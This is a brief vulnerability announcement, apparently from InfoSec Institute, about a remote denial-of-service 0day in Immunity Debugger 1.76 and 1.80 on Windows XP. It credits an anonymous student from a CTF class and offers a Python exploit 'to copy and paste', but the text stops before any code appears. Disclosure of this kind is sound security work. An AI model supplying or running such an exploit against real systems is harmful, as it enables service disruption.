Immunity Debugger Remote Denial of Service 0Day
Tested against version 1.76 and 1.80 on Windows XP distributions
Has not been tested for potential privilege escalation vectors.
We first wrote about Immunity Debugger here: http://news.infosecinstitute.com/general/release-immunity-debugger-v1-80/
Discovered by a student that wishes to remain anonymous in the course CTF. This 0day exploit for Windows was discovered
by a student in the InfoSec Institute Ethical Hacking class, during an evening CTF exercise. The student wishes to
remain anonymous, he has contributed a python version of the 0day. A patch that can be applied to Windows has not been
made available. You can find a python version of the exploit to copy and paste here:
